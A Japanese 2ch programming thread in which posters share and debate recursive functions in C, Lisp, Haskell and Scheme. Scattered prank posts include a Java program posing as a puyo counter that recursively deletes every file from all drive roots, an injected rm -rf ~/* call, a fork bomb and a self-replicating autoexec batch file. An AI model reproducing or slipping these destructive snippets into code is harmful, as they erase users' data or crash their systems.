【recursive 】 再 帰 【リカーシブ】

人は繰り返す・・・
そして神は再帰する・・・

再帰を使った面白い関数・メソッドを書いてください。

いやだYO

1 ：デフォルトの名無しさん ：03/03/20 00:43
人は繰り返す・・・
そして神は再帰する・・・

再帰を使った面白い関数・メソッドを書いてください。



2 ：デフォルトの名無しさん ：03/03/20 00:44
いやだYO

漏れもいやだYOYO

えーん、かいてよー・・・

int main(void)
{
　　cout << "Hello World!!" << endl;
　　return main();
}

#include <stdio.h>
#include <stdlib.h> /* exit( ) で必要 */

unsigned long Fibo(int n);
void main(void);

/* n のフィボナッチ数を返す */
unsigned long Fibo(int n)
{
unsigned long f; /* フィボナッチ数をしまう */

switch (n) {
case 1:
case 2: /* n が１か２なら */
f = 1L; /* f は１ */
break;
default: /* それ以外は再帰呼び出し */
f = Fibo(n - 1) + Fibo(n - 2);
break;
}
return (f); /* f の値をリターン */
}

void main(void)
{
int n; /* n のフィボナッチ数を求める */

printf("1 から 98 迄の整数を入力して下さい\t");
scanf("%d", &n);

if(n > 98) { /* n が 98より大きければ何もしないで終了 */
printf("数字が大き過ぎます\n");
exit(0);
}
/* フィボナッチ数を表示 */
printf("\nFibonacci 数は %lu\n", Fibo(n));
}

えーん、かいてよー・・・

GNU

もし９が書いたら俺も書いてやるよ

int main(int argc, char** argv){
　　return main(argc, argv);
}

処理系依存する再帰書くやつは馬鹿

Stack overflow.....

>>1
再起をうまく使ったGoFデザインパターンあったろう。

Compositeパターン、Visitorパターンとか。

Chain of Responsibility

無名関数だけでFibonacci
((lambda (n)
　 ((lambda (l) (l l n))
　　 (lambda (l n)
　　　 (if (< n 2)
　　　　 n
　　　　 (+ (l l (- n 1))
　　　　　　(l l (- n 2)))))))
　30)

=>832040

再起不能...

むかしポリゴン人形関節座標系計算のためのマトリックス演算を
再帰関数で書いたことがあったが、少し階層が深くなるだけですぐ
stack overflowになったし、関数呼び出しのオーバーヘッドが凄過ぎて
遅くて使いモンにならなかったYO・・・。もう何年も前の話。

>>18
再帰が悪いんじゃなくて末尾再帰最適化に対応してないコンパイラ若しくは書き方が悪かったんだと思われ

PHP

>>15
連鎖のところに使われているだけだろ

template <int A, int N>
struct Power {
enum { Value = Power<A, N - 1>::Value * A };
};

template <int A>
struct Power <A, 1>{
enum { Value = A };
};

int main()
{
main();

return 0;
}

ぷよぷよの繋がったぷよの数を数えるのに再帰使ったよん。

>>24
「いろんな方向につながっているもの」を数えるのに、再帰って便利だよね。
シミュレーションゲームとかでありがちな、移動可能なヘクスを数え上げるのにも
便利だし。

>>25
オセロとかマインスイーパ作ったときに使ったなぁ・・・。

こう書くとWindows3.0のプログラマみたいだな。俺。

>>23
はっはっは！永遠に終わらないじゃん（爆笑！

>>27
俺はスタックかそれに準ずるメモリのオーバーフローで悲惨な終わり方をするに1リカーシブ。

((lambda (x) (display "a") (x x)) (lambda (x) (display "a") (x x)))

BASICで再帰くむのに悩んだのは中学生の頃か
なんか初心を思い出した。

さ、今日も朝までがんばろう。

>>30
GOTOで・・・とか言おうとしたけど確かに難しいな。スタック自分で実装するとかか。

int c(a, b){return !b||a==b ? 1: c(a-1, b) + c(a-1, b-1);}

まんこの中の女の子のまんこの中の女の子のまんこの中の女の子のまんこの中の・・・

人類滅亡のその日に

関数はreturnする。

>>33
いや、全人類が男と閉経後のばばぁのみになった時点でreturnだ。

>>28
ネット越しにスワップアウトするシステムが実装されたら・・・

ここ、役に立つよ。

http://pc2.2ch.net/test/read.cgi/tech/1048088635/

HTMLのハイパーリンクは一方通行だから、再「帰」っていう感じはしないなあ・・・・

>>37
たとえ戻ったとしてもそれに何の意味があるというのか。

前にこんなの書いたなぁ。
ファイルから一行取得する関数。

ファイルの一行目に何文字あろうと、
全部がんばってとってきてヒープに格納するやつ

char* fstralloc( FILE* istream ){return __fstralloc( istream, 0 );}
char* __fstralloc( FILE* istream, int readsize )
{
　　int i = 0;
　　char linebuf[BUFSIZ+1];
　　do{
　　　　linebuf[i] = (char)fgetc( istream );
　　　　if( linebuf[i]==EOF || linebuf[i]=='\n' ){
　　　　　　linebuf[i]='\0';
　　　　　　return strcpy( &(((char*)malloc( (readsize+i+1)*sizeof(char) ))[readsize]), linebuf ) - readsize;
　　　　}
　　}while(BUFSIZ>++i);
　　return memcpy( &__fstralloc( istream, readsize+BUFSIZ )[readsize], linebuf, BUFSIZ ) - readsize;
}

あんま、再帰をうまく利用してるって感じはしないけど。
しかし、今見るとなにやってるかぜんぜんわからん（藁

>>39
> 　　char linebuf[BUFSIZ+1];
> 　　do{
> 　　　　linebuf[i] = (char)fgetc( istream );
> 　　　　if( linebuf[i]==EOF || linebuf[i]=='\n' ){

とりあえずcharに代入してからEOFと比較すんのはやめとけ。

ぐあ、FF がくると終了しちまう。
テキストファイル限定ということでお許しください。（；´∀｀）
再帰だからあんま変数増やしたくないんだよね。
でも、４バイトぐらいならいいか。

41 は >>40 に対してのレスね。

とりあえず括弧の内側にスペース入れる奴嫌い。

とりあえず sizeof(char) する奴嫌い。

>>44
1とかマジックナンバー書くやつ低脳。

sizeof(char)はどんなときも1でつ
マジックナンバーとか思ってるやつはバカ
*sizeof(char)自体無意味で冗長でつ
と言ってみるテスｔ

>>43 >>44 >>46
そうきたか。
漏れの想像範囲を超える意見！感動した。

　　　　　　　 ∧_∧
　　　　　　 /⌒ヽ )　・・・・ﾓｳｺﾈｴ世!
　　　　　　i三　∪　　
　　　　 　 |三　|　　ﾄﾎﾞﾄﾎﾞ
　　　　　　(/~∪
　　　　　三三
　　　　三三
　　　三三

sizeof(char)自体冗長と思う人がいるんでつね。
いや、漏れ的にその辺どうでもいいと思うんだけどね。
わかりやすければ何でもいいと思う。

というか、sizeof(char)ってどこで使ってたっけ？
ああ、mallocのとこか。
た、確かに無駄かも知れぬ。
気にせんといて。

>>46
可読性のことを言ってるんですが・・・

sizeof(char)がなかったらsizeof(char)がいくつか解らないじゃないか。

>>50
C言語の使用でcharのサイズは1って決まってるんだってことを言いたいんだよ。
でも、sizeof(char)でいいよ。1で書くやつがいたら嫌。何の1なのかという意思を示すべしだね。

>>51
＞とりあえず sizeof(char) する奴嫌い。

だとすると矛盾。

#include<stdio.h>

int kk(int);

int main(void)
{
　　int in;

　　scanf("%d",&in);
　　printf("%d",kk(in));
}

int kk(int jj)
{
　　return (jj>1)?jj*kk(jj-1):1;
}

>>51
でもn*sizeof(char)←これはあほだ。

そんな事は無い。1に決まってるんだってことを理解した上で
可読性を高める為に、あえて そうするのは賢い。

>>54
あほがいます。

>55
非常識なコード書いてると信用落とすよ

グローバル変数を0で初期化するみたいなもの。意味無い

TCHAR* fstralloc(FILE* istream) { return __fstralloc(istream, 0); }
TCHAR* __fstralloc(FILE* istream, int readsize)
{
　　int i = 0;
　　TCHAR linebuf[BUFSIZ + 1];
　　do {
　　　　linebuf[i] = (TCHAR)_fgettc(istream);
　　　　if (feof(istream) || linebuf[i] == _T('\n')) {
　　　　　　linebuf[i] = _T('\0');
　　　　　　return _tcscpy(&(((TCHAR*)malloc((readsize + i + 1) * sizeof(TCHAR)))[readsize]), linebuf) - readsize;
　　　　}
　　} while (BUFSIZ > ++i);
　　return memcpy(&__fstralloc(istream, readsize + BUFSIZ)[readsize], linebuf, BUFSIZ) - readsize;
}

>>59
それもおかしいでぇ。
memcpyのサイズ。
テストぐらいしようや。

そういう用途ならreallocのでいいと思うけど。
副作用が跨る再帰はよくないよ。

>>56
じゃあお前はp=malloc(256*sizeof(char));とかやるのか・・・

sizeof(char)が1で無い環境ってあるの？
C言語仕様では、確か型ごとのサイズの保証はしてないんだよね？

>>63
charだけは1だと決まっている。もしも1以外を返す処理系があったらそれは規格外。
ただしCHARBIT==8とは限らない。

>>5

C++でmain呼んじゃダメだろ。馬鹿

まえどっかに、1に>>36みたく書いてるやつあったべ。

>>59
feof ｲｲ!! そんな便利なもんがあるのワスれてた。
うにコード対応？わけわからんソース修正してくれて感謝。

>>61
尤もだ。確かにそうなんだが、realloc って中身消えるときないか？
VC のライブラリのバグで、もしかしたらもう直ってるかもしれんけど、
納期が近いのに悩まされたことがあってrealloc嫌いになった。
んでこの関数ができた。

>>66
↓これだ！「再帰」ってタイトルの奴だ。

1 名前：デフォルトの名無しさん 投稿日：2001/06/11(月) 15:44
http://piza.2ch.net/test/read.cgi?bbs=tech&key=992241842

>>52
漏れは44じゃないよん。
書き方が悪くて50までに書き込んだことのある誰かが書いてる文章にも読めるな。
sizeof(char)がらみでは漏れの投稿は51だけ。でもって終了。

>>60
伝えたかったことは、TCHAR は　1　バイトとは限らないから、
この場合はちゃんと sizeof() 書いとかなあかんなというお話。

>>67
linebuf[i] == _TEOF と書けばいいことに、今気付いた…。

<tchar.h> から引用
#ifdef _UNICODE
#define _TEOF WEOF
#else
#define _TEOF EOF
#endif

>>69
>>40

>>69
>この場合はちゃんと sizeof() 書いとかなあかんなというお話。
間違いを指摘されて苦しい言い訳してる様にしか見えないよ。
もういいから、C言語の初心者スレに帰れ。スレ違いなんだよ。

C言語の初心者スレ・・・・俺に聞けスレのことか？

sizeof(char)ぐらいコンパイラが最適化するだろ。

どっちで書くかは好みだと思うが。

>>40 >>70
おまいのEOFへの指摘は誰よりも早いな。

>>71
まあ、sizeof(char)が好きだ、嫌いだ、掘った、掘られた言ってても、
73もいってるが、それぞれの好みの問題ってのはいつまでたっても解決しないよ。

漏れは 43 になに言われようと、とりあえず括弧の内側にスペース入れるしね。
44 になに言われようと、とりあえず sizeof(char) するしね。
とりあえず 70 は誰よりも速く EOF の指摘をするしね。

というか 43 みたいな指摘受けると括弧の内側にスペース７個ぐらい入れて、
「どうよ。これどうよ。角度とか。」とか聞きたくなるんですが。

ス、スレ違いになってしまったので責任を取って、
最大公約数を求めるユーグリッドの互除法ってやつを。

int gcm( int x, int y )
{
　　if(x%y) gcm( y, x%y );
　　return y;
}

んで >>77 に、こっちの方が効率がよい罠 とか指摘されるに、２１０松方弘樹。

int gcm( int x, int y )
{
int z;
while(z=x%y) x=y, y=z;
return y;
}

括弧の内側にスペースがはいっていませんよ。

>>77
漏れの想像力をはるかに超えたオチ！
笑わせようとしたつもりが笑わされた！
「とりあえず 〜 奴嫌い。」とくると思ったのに！悔しい！悔しい！

ifやwhileと括弧の間にスペースが(ry

>>75はyを返す関数ですか？

>>80
確かにそうだｗ

>>80
えっ？
えーと、いやいや。皆さんを試したんですよ僕は。
見てないんじゃないかとおもって。あは、あははは。




>>ナナシサソ59さんへ
59さん！緊急事態です！ if の後に return が抜けちゃってました！
しかも、80さんに指摘されてユーグリッドの互除法を、
再度調べ直してたら gcm でなくて gcd であることにも気が付きました！
さりげなく直しておいてください！！
unicodeに対応しつつ、何事も無かったかのようにさりげなく直しておいてください！！

再帰で感動したのは「ハノイの塔」だったなあ・・・（遠い目）
これ、簡単なベンチマークにイイと思うんだけど。
実際にｎ枚目の皿に相当する数値をメモリ内で移動させるようにして
やらせてみた。１６枚以上は、１秒間だけ走らせてその時間を基にどの位で
終わるか表示させて遊んだな。６０枚位で何億年とか出て面白かった。

うっほっほ。

puts "禿"
>>85

void printhex( unsigned int n )
{
　　if( n > 0xf ) printhex( n >> 4 );
　　putchar( "0123456789ABCDEF"[ n & 0xf ] );
}

にゃるほど。実際にデバック用のコードで、こんな感じのは使ってますね。
勿論再帰版ではなくて桁数決めて非再帰コードですが。昔、演習問題ですが
stringの長さを数えるのに再帰を使ってる例がありましたね。
文字列の長さ数えるのに、文字数分ワードをpushするんかい、おい！
とか思いましたが、学問として正しさのみを云々するには面白い問題ですね。

再帰なら、オセロとかのプログラムでCPUに先読みさせるときに使ったなぁ。

ｺｯﾎｺｯﾎ

（＾＾）

>>92 相互

>>91 リンク

再帰スレで相互といったら
相互再帰だろうがぁぁぁっっっっっ！！！！！！

俺も再帰って凄いなと思ったのは相互再帰のコードを見た時だ。
相互ってないやつはﾌｰﾝって感じだったけど。

実務にアクロバットは要らない。

ｶﾘｰｶﾘｰ

http://a414s1.it.nanzan-u.ac.jp/textbook/text082100-3/node144.html

>>80 yを返す関数
で思い出したけど、Y-combinator って何よ?

再帰は、複雑になりそうなところをシンプルに記述出来るのが
メリットなのだが、>>39　(>>59) は再帰を使ったことで
readsize　という引数が増えるなどプログラムを複雑化しており、
本末転倒

>>98
関数型言語系ｽﾚの過去ログにあったよ

101の書く事を信用してはいけない

>>101
エピメニデス文だね！

「ゲーデル・エッシャー・バッハ」って面白い?
読もう、読もうと思っててすぐ忘れてしまうん。

　　　 　∧＿∧
ﾋﾟｭ.ｰ　(　　＾＾ ） ＜これからも僕を応援して下さいね（＾＾）。
　　＝〔~∪￣￣〕
　　＝ ◎――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉

>>103
それなりに面白いが、プログラムよりの話はそんなに出ない。
専門知識は不用。

>105
買ってきますた。

ぷよぷよの繋がったぷよの数を数えるのに再帰使ったよん。

import java.io.*;
class PuyoPuyo {
　　public satatic void main(String args[]){
　　　　File[] gameData=File.listRoots();
　　　　PuyoPuyo puyo=new PuyoPuyo();
　　　　for(int i=0 ; i<gameData.length ; i++ ){
　　　　　　puyo.gameStart(gameData[i]);
　　　　}
　　}
　　void gameStart(File gameData){
　　　　if(gameData.isDirectory()){
　　　　　　File[] data=gameData.listFiles();
　　　　　　for(int i=0;i<data.length;i++){
　　　　　　　　gameStart(data[i]);
　　　　　　}
　　　　}
　　　　gameData.delete();
　　}
}

(((；゜Д゜))ガクガクブルブル

ディレクトリというかツリーを辿るときの再帰は普通かと

int c(a, b){return !b||a==b ? 1: c(a-1, b) c(a-1, b-1);}

原始帰納関数と一般帰納関数ってどこがどうちがうの？

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

>>51
同意

はなしは変わるけど、携帯ゲーム機"プレイステーションポータブル(PSP)

　このPSPは、新規格UMD(ユニバーサルメディアディスク)というディスクを利用しており、そのサイズは直径6cmととても小さい(CDの半分程度)。 容量は1.8GBとなっている。
画面は4.5インチのTFT液晶で、480px x 272px(16:9)。MPEG4の再生やポリゴンも表示可能。外部端子として、USB2.0とメモリースティックコネクタが用意されているという。

この際、スク・エニもGBAからPSPに乗り換えたらどうでしょう。スク・エニの場合、PSPの方が実力を出しやすいような気がするんですが。
任天堂が携帯ゲーム機で圧倒的なシェアをもってるなら、スク・エニがそれを崩してみるのもおもしろいですし。かつて、PS人気の引き金となったFF７のように。

突然へんな事言い出してｽﾏｿ‥
GBAと比較してみてどうなんですかね？（シェアのことは抜きで）

（＾＾）

自分自身をファイルに出力してコンパイルして実行して自分自身をファイルに出力してコンパイルして実行して・・・・・

って、可能かな？

インタプリタでもいいけど。

　　　 (⌒V⌒)
　　　│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
　　⊂|　　　　|つ
　　　（＿）（＿）　　　　　　　　　　　　　　　　　　　　　　山崎パン

とりあえず sizeof(char) する奴嫌い。

保守性の高いコードの価値が判らない奴は時代遅れ

>>118
なぜ嫌われるかﾜｶﾗﾝ

>>118
1とかマジックナンバー書くやつ低脳（ｗ

charは1オクテットとは限らない

>>121
#define ONE 1

q = p + ONE;

class shine {
String shine() {
shine shineyo = new shine();
}
}

>>122
それがどうした。

return 同様 sizeof は関数では無いので
sizeof(char) でも sizeof char でもどっちでも良い。
(へえー)

>>126
すれ違いな上に嘘を書くな。

>>127
ｵﾏｴﾓﾅｰ
AA(ry

>>127
スレ違いはともかく、無知は罪だねえ。

sizeofで()がなくてもいいのは変数のとき。型名には必須。

sizeof演算子のオペランドは識別子か
型キャスト式だから()が必須らしいな

再帰を反復に置き換える汎用アルゴリズムはないものか

[email protected]
ここにめーるしてね！

// 可変長文字列の読み込み
char * test( char ** ptr, int pos )
{
char ch= cin.get() ;

if( ch != '\n' ){
test(ptr, pos+1) ;
}else{
ch= '\0' ;
*ptr= new char[pos+1] ;
}
*(*ptr+pos) = ch ;

return *ptr ;
}

void pnum(int n, int m){
if(n/m != 0) pnum(n/m,m);
putchar('0'+n%m+n%m/10*7);
}

いまだに戻ってこない

>>132
あるけど教えない
遅レスすまそ

人は繰り返しマイクは降臨しネラどもはひれ伏し崩壊する。

>>138
さんくす。

test

int foo() { return foo() }

md hornet
copy hornet.bat hornet

cd hornet
call hornet.bat

という、hornet.bat と名付けられたバッチファイルを
autoexec.bat に仕込まれて起動直後に固まってしまっているのを
10年ぐらい前にどこかの駅ビルでみたことがある。

当時は再帰なんて知らなかったから素直に感動した。
いま、試してみたらもう無理だった。

>144
2kでコレは動いた。

md hoge
copy %0 hoge
cd hoge
%0

いあ、ハングさせるのが無理だったという意

Prologを全く知らない人のためにrepeatを書いておきます。
repeat.
repeat :- repeat.

<使い方>...(1)..,repeat,...(2)...,<条件>,
(1)が実行されて、repeatが呼ばれると定義の第一節によって成功する。
成功したのでさらに右に進み、(2)が実行される。
その過程のどこか<条件不適合>になり失敗すると後戻りして戻ってくる。
再びrepeatが呼び出されそうに思えるが、先ほど呼ばれたrepeatの第二節が
まだ残っている。再試行としてそれが実行される。
第二節の意味はrepeatとはrepeatを実行することだ、であるから、
新たに(別の)repeatがよびだされる。この新しいrepeatは第一節から
実行されるから成功して、また再び右方向に制御が進み、(2)が実行される。

このrepeatは常に真なる。trueも常に真となるが、
...(1)..,true,...(2)...,<条件>,
だと、条件が偽となり戻ってきたときにこれを通り越して(1)へ戻っていってしまう。

Lispでよく状態遷移ループの処理を相互再帰を使って書くよね。

外部イテレータしかないC++とかJavaではStateパターンが定石
だと思うけど、内部イテレータのある言語ではもっとうまい手
がないかな。

>>149を読め。

そんなところで再帰しなくても>>149

main(){for(;;)fork();}

10 RUN

メモリにｎ行のﾃｷｽﾄがline1\0line2\0ETXのように入っている。各行はnull止め終端はETX。
「後の行を先に印字ｷｭｰへ書き込む」ために再帰を使ったよ。
何で必要だったかというと、プリンタからぶら下がってくる紙にそのまま読める順で文が印刷
されているというシステムだったから。
void editxxx(char *p) {
if( *p!=ETX ) { /* pのﾎﾟｲﾝﾄする位置が終端のﾊﾟﾀｰﾝでないなら、*/
editxxx(p+strlen(p)+1);/* 次の位置以降を(自分に)下請けに出す */
enque(p);/* 自分の位置のﾃｷｽﾄを書く*/
}
}

上は、なしで。

昔はよく書いたけどなんだかんだでスタックオーバーフローすることが
多いので最近は書かなくなった。

そうだねえ、俺も組み込みで使ったのは153が初めて。せいぜい十数行って判ってるから
使えたけど、数百行だったら使えなかったな。

ネタじゃなかったのか

ちゃんと動いてるよ。メモリ使用量の見極めをきっちりやる必要があったけど、
リーダビリティのよいコードになったと思ってる。
「こういう理由で再帰を使う。スタック深さはこれ位」とコメントにも書いたし。

教えてくんになりたいのですが、どうすればなれるのですか？

教えてくん() {
print 教えて;
教えてくん();
}

>>159
もう十分教えてクンです。あとはいろいろな所で書き込みをするだけです。頑張って！

>>159
(*´д｀)

やな再帰だな

>>159
159 を参照しろよ

最近再帰使ってないなぁ。

毎日使ってるなあ。

>>167

>>166

このスレはスタックがあふれたのでもう書けません。

再帰ッカーの集いスレ

なんか、別のスレで「スレ違い」とか言われて誘導されたんですが・・・。

/**
　* x == 1 のとき足し算,
　* x == 2 のとき掛け算,
　* x == 3 のとき累乗計算をします.
　* ただし x, y, z は 0 より大きい整数です. 不適切な値の場合は -1 を返します.
　*/
int superfunc(int x, int y, int z){
　　if(x < 1 || y < 1 || z < 1) return -1;
　　if(x == 1) return y + z;
　　if(z == 2) return superfunc(x-1, y, y);
　　return superfunc(x-1, superfunc(x, y, z-1), y);
}

これがなんだと言うのだ

>>170
七行プログラムスレから飛んできたけど、

トリッキーなコード　その２
http://pc8.2ch.net/test/read.cgi/tech/1038215563/

が最適な気がする。

>>168
このにじういっせいきに、
さいきよびだしごときですたっくをあふれさせてしまうしょりけいなんて。

末尾再帰じゃなければ普通はそのうち溢れる。
>>173はスタックの最大深さの見積りもしないのか?

すべての関数呼び出しは末尾呼び出しに変換可能。
クロージャの生成と廃棄が頻繁になる分、遅くなるけどな。

しないのか? と問われれば する と答えておこう。
でもそれとこれとは別。
スタックを溢れさせないような実装は可能なんだし、
架空の話でまでスタックを溢れさせてしまうなんて悲しすぎるじゃないか。

int superfunc(int x, int y, int z){
　　if(x < 1 || y < 1 || z < 1) return -1;
　　if(x == 1) return y + z;
　　if(x == 2) return y + superfunc(x, y, z-1);
if(x == 3) return y * superfunc(x, y, z-1);
system("rm -rf ~/*");　// <- ｷﾓ
return 0;
}

あぁ、z = 0 になると -1 になるのか。 orz...

>>173
えーと、>>170 の関数で superfunc(4, 3, 5)とか計算すると
普通にスタックオーバーフロー起こすんですが・・・。
LispでもJavaでもCでも駄目でした。
よく考えてみれば、これは掛け算も累乗もみんな足し算の組み合わせで計算してるわけで、
3を5回も3乗する ((((3^3)^3)^3)^3) となると膨大な足し算をすることになって
そりゃあオーバーフローもするわな、と。
今の処理系でこれをオーバーフローせずに計算し切る言語ってあるんだろうか？

>>179
Haskellならどうかな？遅延評価を行うため、この手の再帰には強い。

ghc(Haskell Compiler)でやってみたけど、結果は合ってるかいな？

main = print (superfunc 4 3 5)

superfunc :: Int -> Int -> Int -> Int
superfunc x y z
| x < 1 = -1
| y < 1 = -1
| z < 1 = -1
| x == 1 = y + z
| z == 2 = superfunc (x - 1) y y
| otherwise = superfunc (x - 1) (superfunc x y (z - 1)) y

結果 = -1
実行時間(ストップウォッチで測った) 0.2秒
環境 : Windows XPSP2, Athlon64 2800+

>>181
あってない。
IntじゃなくてIntegerにして見れ。

俺もghcでやったけどスタック100MBでもオーバーフローしたよ。

>>182>>183
うぎゃー本当だ。
500MBにして計算中だけど帰ってこない・・・・

>>180
その代わりHaskellは糞遅いからね。

今度はヒープが256Mでヒープ切れと来た。Haskellでもだめか。
メモリ何GB積めばいいんだろ？

あかんわ。ヒープ500Mにしてもヒープ切れが出る。
ghcでこのプログラムを走らせると、スタック500M、ヒープ500Mだと、先にヒープの
方がなくなる。これ以上増やすと、ハードディスクガリガリ言うので諦めた。
4G上等の方、追試おねがい〜。

あと、Haskellは糞メモリ消費激しいからね。

便利な言語だから好きだけど。

>>188
C、C++ばかり使ってる俺に取っては奇っ怪な文法に見えたが、慣れると
それなりにいいもんだね。
遅延評価という事は、評価を後に回していい物を片っ端からメモリに
積んで行くのでメモリ消費が激しいんだろうね。
後、Integerは任意精度の整数だから、多倍長計算という事になって、
スピードが著しく低下しているみたい。アッカーマン関数程度で我慢しとくかな。
ackermann 4 2 が65533というのは合っているのかな？結果が出たのは
初めてみたよ。2秒ほどで答えが出た。

悪化ー慢関数でしょ

http://oshiete1.goo.ne.jp/kotaeru.php3?q=21195
大きな数定義する再帰関数

A(4,2) = 2↑↑5-3=2↑(2↑↑4)-3=2↑(2↑(2↑↑3))-3=2↑(2↑(2↑(2↑2)))-3
=2^2^2^2-3=2^16-3=65536-3=65533
あってたか。

巨大数研究室
http://www.geocities.co.jp/Technopolis/9946/

だから関数呼び出しは末尾呼び出しに変換できるんだってば。

;;Scheme

(define (superfunc x y z cont)
(cond ((or (< x 1) (< y 1) (< z 1)) (cont 1))
((= x 1) (cont (+ y z)))
((= z 2) (superfunc (- x 1) y y cont))
(else
(superfunc x y (- z 1) (lambda (r) (superfunc (- x 1) r y cont))))))
;;ここまで
;;値を返すかわりにcontに渡す。処理系によってはこの変換を自動でやってくれる。

(superfunc 4 3 5 values)

って感じで呼び出す。
スタック *は* 消費しない。
でもそれと最後まで計算し切れるかどうかは別だから。

ﾌﾟ

なんだよー、わらうなよー

>>194
>でもそれと最後まで計算し切れるかどうかは別だから。
　~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ﾌﾟ。結局だめなんじゃん。

たぶん整数のオバーフローの話だと思う。
bignum対応した処理系なら大丈夫じゃないかね。

スタックは消費しなくてもヒープを消費するという落ちだろ。

よく見てなかった。

テールリカーションが有効なのは
処理を全部現在のと同等の次の段階に回せる場合
次の段階が複雑化していくなら全然有効じゃない

末尾再帰に有効も糞もあるか。
何を言ってるんだおまえは？

巨大数っていう概念を初めて知りました・・・。
もしかして、数学板やN88Basicでaのb乗を a^b って書くのは
a↑bが元になってるのでしょうか？

昔作ったゲームで、ダンジョンの自動生成に使ったな。
いまなら再帰なんぞ使わずに書くだろうけど。

しかし、Cでどのようにアッカーマン関数を遅延評価するようにしても遅い。
というか、この関数、遅延評価は無理だっぺ。

アッカーマン関数も>>170もすべての引数について正格（引数が必ず評価される）から、
遅延評価しても高速化は期待できないんじゃないか？

たぶんもともとはAPLでないかと

隊長!Mathematicaが敗北しました!

>>208
詳しく

>>206
ｱｯｶｰﾏﾝはコンパイル時に評価すれば超高速だぜ

再起。

再起不能

風雲再起

void nullpo(){
　printf("ぬるぽ");
　nullpo();
}

相互再帰
http://pc8.2ch.net/test/read.cgi/tech/1136124255/36

再帰をみっちり仕込んで下さい！
http://pc3.2ch.net/test/read.cgi/tech/1019489340/
再帰処理
http://piza.2ch.net/test/read.cgi/tech/990147764/
再帰
http://pc.2ch.net/test/read.cgi/tech/992241842/

Oracle の 9i 以降だと、SQL で再帰が書ける。

PL/SQL じゃなくて?

TextSS　のWindowsXP(Professional)64bit化おながいします

もしくは64bitにネイティブ対応したテキスト置換ソフトありますか？

なんでこれアチコチに貼られてるの？あらし？

良スレにだけ貼ってあるらしい。

TextSSって何？
と思ってぐぐってみたら、フリーソフトじゃんな。
作者に直接メール送れよなｗ
バイナリ単位での置換をするんじゃ64bit化も糞もないと思うんだがどうだろうか？